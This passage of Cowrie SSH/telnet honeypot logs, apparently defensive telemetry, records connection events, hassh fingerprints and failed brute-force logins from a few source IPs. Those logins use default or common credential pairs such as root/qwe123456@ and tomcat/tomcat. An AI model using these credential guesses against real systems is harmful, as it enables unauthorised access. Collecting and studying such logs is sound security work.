es256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:18:42.460266Z","src_ip":"47.86.95.62","session":"0e727c6fc675","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.987158060073853,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:18:42.672686Z","src_ip":"85.217.149.48","session":"9e8c8bffc7e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.184.143","src_port":43398,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a24ea8ea546","protocol":"ssh","message":"New connection: 209.99.184.143:43398 (159.203.135.109:22) [session: 9a24ea8ea546]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:18:50.535230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:18:50.539976Z","src_ip":"209.99.184.143","session":"9a24ea8ea546","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:18:50.635918Z","src_ip":"209.99.184.143","session":"9a24ea8ea546","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123456@","message":"login attempt [root/qwe123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:18:51.050035Z","src_ip":"209.99.184.143","session":"9a24ea8ea546","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"tomcat","message":"login attempt [tomcat/tomcat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:18:51.201495Z","src_ip":"47.86.95.62","session":"0e727c6fc675","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:18:52.149700Z","src_ip":"209.99.184.143","session":"9a24ea8ea546","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.6","message":"Connection lost after 17.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:18:59.869660Z","src_ip":"47.86.95.62","session":"0e727c6fc675","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":35468,"dst_ip":"10.17.0.5","dst_port":22,"session":"145496566031","protocol":"ssh","message":"New connection: 47.86.95.62:35468 (10.17.0.5:22) [session: 145496566031]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:19:18.250938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:19:18.649479Z","src_ip":"47.86.95.62","session":"145496566031","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:19:18.654648Z","src_ip":"47.86.95.62","session":"145496566031","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student","message":"login attempt [student/student] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:19:19.954748Z","src_ip":"47.86.95.62","session":"145496566031","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:19:21.201801Z","src_ip":"47.86.95.62","session":"145496566031","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":44032,"dst_ip":"10.17.0.5","dst_port":22,"session":"a424e94aa5b1","protocol":"ssh","message":"New connection: 47.86.95.62:44032 (10.17.0.5:22) [session: a424e94aa5b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:19:24.193953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:19:24.199256Z","src_ip":"47.86.95.62","session":"a424e94aa5b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:19:24.402813Z","src_ip":"47.86.95.62","session":"a424e94aa5b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demo","message":"login attempt [demo/demo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:19:25.014441Z","src_ip":"47.86.95.62","session":"a424e94aa5b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:19:26.453744Z","src_ip":"47.86.95.62","session":"a424e94aa5b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":44040,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ac689fa9e6e","protocol":"ssh","message":"New connection: 47.86.95.62:44040 (10.17.0.5:22) [session: 6ac689fa9e6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:19:29.270329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:19:29.275045Z","src_ip":"47.86.95.62","session":"6ac689fa9e6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:19:29.501184Z","src_ip":"47.86.95.62","session":"6ac689fa9e6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"test2","message":"login attempt [test2/test2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:19:30.138903Z","src_ip":"47.86.95.62","session":"6ac689fa9e6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.23.26","src_port":17352,"dst_ip":"159.203.135.109","dst_port":22,"session":"875a8645b2e6","protocol":"ssh","message":"New connection: 165.154.23.26:17352 (159.203.135.109:22) [session: 875a8645b2e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:19:31.252447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:19:31.262920Z","src_ip":"165.154.23.26","session":"875a8645b2e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:19:31.424017Z","src_ip":"47.86.95.62","session":"6ac689fa9e6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:19:31.474838Z","src_ip":"165.154.23.26","session":"875a8645b2e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"novinhost","password":"novinhost.org","message":"login attempt [novinhost/novinhost.org] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:19:32.332006Z","src_ip":"165.154.23.26","session":"875a8645b2e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:19:33.555367Z","src_ip":"165.154.23.26","session":"875a8645b2e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":42362,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7b70abd8980","protocol":"ssh","message":"New connection: 47.86.95.62:42362 (10.17.0.5:22) [session: f7b70abd8980]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:19:53.861533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:19:56.634531Z","src_ip":"47.86.95.62","session":"f7b70abd8980","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:19:56.639159Z","src_ip":"47.86.95.62","session":"f7b70abd8980","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456789","message":"login attempt [ubuntu/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:20:08.154191Z","src_ip":"47.86.95.62","session":"f7b70abd8980","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.1","message":"Connection lost after 18.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:20:11.953699Z","src_ip":"47.86.95.62","session":"f7b70abd8980","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":43852,"dst_ip":"10.17.0.5","dst_port":22,"session":"b35e39785ddb","protocol":"ssh","message":"New connection: 47.86.95.62:43852 (10.17.0.5:22) [session: b35e39785ddb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:20:17.933464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:20:17.959385Z","src_ip":"47.86.95.62","session":"b35e39785ddb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:20:18.200517Z","src_ip":"47.86.95.62","session":"b35e39785ddb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123456","message":"login attempt [dev/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:20:20.175217Z","src_ip":"47.86.95.62","session":"b35e39785ddb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:20:21.550117Z","src_ip":"47.86.95.62","session":"b35e39785ddb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":54602,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2acd8b55634","protocol":"ssh","message":"New connection: 47.86.95.62:54602 (10.17.0.5:22) [session: d2acd8b55634]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:20:23.797179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:20:23.802916Z","src_ip":"47.86.95.62","session":"d2acd8b55634","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:20:24.022236Z","src_ip":"47.86.95.62","session":"d2acd8b55634","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rocky","password":"rocky","message":"login attempt [rocky/rocky] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:20:24.701833Z","src_ip":"47.86.95.62","session":"d2acd8b55634","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:20:25.904027Z","src_ip":"47.86.95.62","session":"d2acd8b55634","protocol":"ssh"}
